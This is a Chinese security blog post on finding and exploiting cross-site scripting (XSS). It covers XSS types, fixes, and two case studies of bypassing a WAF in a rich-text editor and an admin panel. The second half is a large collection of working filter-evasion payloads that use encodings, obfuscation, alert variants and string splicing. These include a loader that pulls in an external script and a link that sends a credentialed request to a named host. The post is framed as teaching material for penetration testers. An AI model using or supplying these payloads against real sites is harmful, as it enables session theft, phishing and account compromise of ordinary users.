xss测试利用总结(附个人常用payload)

admin 2024年10月22日12:39:04评论195 views字数 7276阅读24分15秒阅读模式

 基础

原理

攻击者嵌入恶意脚本代码到用户会访问到的页面中,用户访问该页面的时候,就会直接执行恶意的js代码
当浏览器解析html的时候遇到<script>、事件属性、伪协议就会进行js解析

类型

反射型:触发点在url参数里面,提交数据到服务器,服务器会返回给浏览器,需要手动发给用户,用户点击之后触发js代码
存储型:提交的恶意代码存储在数据库里面,只要用户访问就可以执行恶意代码
dom型:特殊的反射型xss,并没有经过服务器的处理写到了页面里,典型的就是jquery-xss
self-xss:只有自己才能看到的xss

危害

1.只要js代码能做的事xss就可以做到,最常见的就是盗取cookie或者窃取敏感信息
2.进行网页挂马,篡改网页页面
3.网络钓鱼,诱骗用户访问你的钓鱼页面
4.权限维持,记录后台登录的账户密码
5.配合浏览器漏洞进行rce
6.搭配其他漏洞组合拳,例如ssrf配合反射型xss进行命令执行
xss测试利用总结(附个人常用payload)

修复方案

1.对用户输入的数据进行过滤,过滤掉特殊字符和HTML标签等。可以使用一些开源的输入过滤库,如HTML Purifier。
2.输出转义:对Web应用程序的输出进行转义,将一些特殊字符转换为HTML实体,如将<转换为&lt;,将>转换为&gt;
3.禁止事件属性,限制输入长度
4.HttpOnly和Secure标记
挖掘思路

出现的位置

只要输入的地方就可能会有xss,一些get型的接口接受的参数也可能输出在前端

xss测试利用总结(附个人常用payload)

xss测试利用总结(附个人常用payload)

不输出在前端也有可能有xss,例如留言功能,可直接盗取管理员cookie

xss测试利用总结(附个人常用payload)

富文本编辑器:常见的位置就公告、活动、邮件处

xss测试利用总结(附个人常用payload)

上传:对于一些可以上传pdf、html、svg、gif文件的地方也有可能存在xss

不止文件内容,如果一个地方引用了某个文件的名字类似于这种,只要输出在前端的并且我们可控都可以去尝试尝试(很早之前遇到过,暂时没有截图)

测试思路

首先我会先随便输几个字符查看下在前端哪个位置,观察旁边都是啥内容
大概率需要闭合双引号、标签啥的,看看输出有没有转义可不可以绕过
然后就是绕waf了,一搬去找到一个可以用的标签,然后看看是否支持伪协议,然后去跑一遍事件属性,fuzz一下哪些可以用
w3school的事件属性:(不是全部)https://www.w3school.com.cn/tags/html_ref_eventattributes.asp
href,lowsrc,bgsound,background,action,dynsrc这些属性支持伪协议
案例

文本编辑器中的xss

xss测试利用总结(附个人常用payload)
在本人测试中遇到的文本编辑器百分之90都存在xss,这种测试不要影响真实用户,尽量用自己账户做验证,选择接受人为自己,发送邮件
抓包直接插个payload看看

xss测试利用总结(附个人常用payload)

点开邮件直接弹窗
xss测试利用总结(附个人常用payload)

有过滤的存储型xss

某企业管理后台页面
xss测试利用总结(附个人常用payload)
这里先随便打个payload看看怎么个事
xss测试利用总结(附个人常用payload)
直接404了,肯定有过滤
xss测试利用总结(附个人常用payload)
先随便输入个字符抓个包
xss测试利用总结(附个人常用payload)
换个payload试试
xss测试利用总结(附个人常用payload)
先挨个检查哪部分被拦截了,这里尖括号直接被拦截了
xss测试利用总结(附个人常用payload)
可以直接fuzz标签事件,不过尖括号就比较麻烦了,很多编码他不会拦截也不会解析,只能再返回前端看一下,这里经过测试发现Unicode编码后不会被拦截并可以被解析成尖括号
xss测试利用总结(附个人常用payload)
结果前端没找到,天都塌了
xss测试利用总结(附个人常用payload)
还有个字段是标题,本来不报有希望了,顺手看了一下结果有意外惊喜,这里右键点击以html格式修改发现输出的尖括号并没有做转义
xss测试利用总结(附个人常用payload)

先打个双引号进去

xss测试利用总结(附个人常用payload)

输出也没做处理

xss测试利用总结(附个人常用payload)

再构造一下payload

xss测试利用总结(附个人常用payload)

这里把后面的字符随便改成点正常的字符,哪里有过滤绕哪里,我是先去跑了一遍标签,还是有很多可以用的,然后就是事件属性,直接去跑一遍,找到一些可以用的事件,最后就是绕过alert(1)了

最终payload为

"u003cinput/onfocus=_=confirm,_(123)u003e
xss测试利用总结(附个人常用payload)

成功解析

xss测试利用总结(附个人常用payload)

成功弹窗

xss测试利用总结(附个人常用payload)

绕过思路

字符替换

单引号和双引号替换反引号等等alert替换为confirm、prompt、console.log、document.write空格替换为换行符、/**/、/ 加一些%0a%0d*/alert/*括号被过滤<img src=1 onerror="window.onerror=eval;throw'=alertx281x29';">根据服务器特性进行双写大小写编码之类的还可以引入外部的js地址<svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'

各种编码

浏览器解码顺序为HTML解码 -> URL解码 -> js(unicode)解码

HTML、js、进制编码

xss测试利用总结(附个人常用payload)

<img src=x onerror = &#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x31&#x31&#x29><a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>Click</a><svg/onload=setTimeout('x61x6Cx65x72x74x28x31x29')><iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
uniode编码
<为u003c >为u003e(这里并不能直接替换标签中的尖括号,需要服务器先解析才可以)<还可以为x3c >为x3e<input onfocus=u0061u006Cu0065u0072u0074(1) autofocus><a href=javascript:u0061u006Cu0065u0072u0074(1)>Click</a>
组和
<iframe src=&#x0006A&#x00061&#x00076&#x00061&#x00073&#x00063&#x00072&#x00069&#x00070&#x00074&#x0003A&#x00061&#x0006C&#x00065&#x00072&#x00074&#x00028&#x00031&#x00029><a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#49;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#52;&#51;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#53;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#50;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#52;&#40;&#49;&#41;>Click</a><script/src=data&colon;text/ju0061vu0061&#115&#99&#114&#105&#112&#116,u0061%6C%65%72%74(/XSS/)></script>
jsfuck和AAencode
变异js代码(会非常长)
http://www.jsfuck.com/
http://www.hiencode.com/aaencode.html

函数

String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41) 返回UTF-16组成的字符串 解码后为alert(1)atob('YWxlcnQoMSk=') atob函数为解码base64字符串 解码后为alert(1)<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

base64编码

<object data='data:text/html;base64,PFNDUklQVD5hbGVydCgneHNzJyk7PC9TQ1JJUFQ+' /src><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED><iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe><a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a

加入特殊字符混淆(和编码结合)

<img src="javascrip&#116&#58alert(/xss/);"><scri<!--test--> pt> alert(1);</scr<!--test--> ipt><a href=javascript:eval("alert(111);var&#x20;x=new&#x20;XMLHttpRequest();x.open('GET','https://icsl.mobius.com/index/1525029829840748545/1',true);x.withCredentials=true;x.send();var&#x20;d=x.responseText;alert(d);")>99999999</a><a href=ja&NewLine;vascript:k='',a=!k+k,f=!a+k,g=k+{},kk=a[k++],ka=a[kf=k],kg=++kf+k,ak=g[kf+kg],a[ak+=g[k]+(a.f+g)[k]+f[kg]+kk+ka+a[kf]+ak+kk+g[k]+ka][ak](f[k]+f[kf]+a[kg]+ka+kk+"(k)")()> 1111";//</title><iframe src=javasc&NewLine;ript&colon;alert(1)></iframe>字符拼接<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"><img src="x" onerror="frames[`al`+`ert`](1)"><img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
payload平台:https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html比较杂的:https://www.ddosi.org/xss-bypass/#%E6%B2%A1%E6%9C%89%E8%BF%87%E6%BB%A4%E5%99%A8%E8%A7%84%E9%81%BF%E7%9A%84%E5%9F%BA%E6%9C%AC_XSS_%E6%B5%8B%E8%AF%95
个人常用

常用标签
<a<img<svg<iframe<input<body<META<form也可以自己构造html标签

alert1变异

(alert)(1)a=alert,a(1)alert(String.fromCharCode(49))[1].find(alert)window['al'+'ert'](/xss/)top["al"+"ert"](1)top[/al/.source+/ert/.source](1)aleru0074(String.fru006fmCharCu006fde(49))alu0065rt(1)top['al145rt'](1)top[8680439..toString(30)](1)eval(atob('YWxlcnQoMSk='))"top['ale'+'rt'].call(null,'xss')"al&#101;rt(2)top['alx65rt'](1)[43804..toString(36)].some(confirm)window['eval']("u0061u006Cu0065u0072u0074u0028u0031u0029")

个人常用payload

<img src=x onerror=alert(1)><img src="x" onerror="window['al'+'ert'](1)"><svg onload=alert(1)><form id='test'></form><button form='test' formaction='javascript:alert(1)'>X</button><a href=javascript:[1].find(alert)>xss</a><img src=x onerror = &#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x31&#x31&#x29><iframe src=javascript:[1].find(alert)></iframe><xmp onmousemove="alert(1)">test</xmp><form id="test"></form><button form="test" formaction="javascript:prompt(xss)">X</button><x onmouseover="top['ale'+'rt'].call(null,'xss')">test<img src=1 onerror=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29"><input/onfocus=_=alert,_(123)><input onfocus=u0061u006Cu0065u0072u0074(1) autofocus><input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`> <svg/onload=setTimeout('u0061u006Cu0065u0072u0074u0028u0031u0029')><details open ontoggle=[43804..toString(36)].some(confirm)><object data='data:text/html;base64,PFNDUklQVD5hbGVydCgneHNzJyk7PC9TQ1JJUFQ+' /src><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED><table><caption onclick=aleru0074(String.fru006fmCharCu006fde(49))>Click me

 

原文始发于微信公众号(秘地安全实验室):xss测试利用总结(附个人常用payload)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月22日12:39:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   xss测试利用总结(附个人常用payload)https://cn-sec.com/archives/3298247.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息